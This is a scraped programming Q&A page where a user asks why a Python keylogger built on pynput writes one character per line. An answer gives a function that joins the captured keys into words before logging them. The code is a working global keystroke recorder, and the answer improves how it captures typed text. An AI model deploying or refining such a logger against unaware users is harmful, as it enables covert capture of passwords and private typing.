Problem :
Logging file saves one char after another in a new line for each char.
Objective is to log all char in a same line
is there is a problem with format in logging or ?
Code
JavaScript
x
15
15
1
from pynput.keyboard import Key, Listener
2
import logging
3
4
#log file path
5
log_path=""
6
7
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' )
8
9
def btn_press(key):
10
logging.info(key)
11
12
13
with Listener(on_press=btn_press) as listene:
14
listene.join()
15
Result: logging
–>In File.txt
l
o
g
g
i
n
g
Expected Result
logging
–>In File.txt
logging
what kind of format this requires?
Advertisement
Answer
This function is to capture a word/sentence
JavaScript
1
24
24
1
old=""
2
space = False
3
def key_log(key):
4
global old
5
global space
6
7
if key=="Key.space":
8
space=True
9
10
if len(key) == 1:
11
if space:
12
key = old + " " + key
13
space=False
14
15
else:
16
key = old + "" + key
17
18
old = key
19
print(key)
20
else:
21
print(key)
22
logging.info(key)
23
24
using this function
JavaScript
1
5
1
def btn_press(key):
2
#logging.info(key)
3
key_log(str(key))
4
5
Result logging
–>File.txt
JavaScript
1
14
14
1
l
2
3
lo
4
5
log
6
7
logg
8
9
loggi
10
11
loggin
12
13
logging
14
This way is better or any other way for it?
small help would be appreciated!.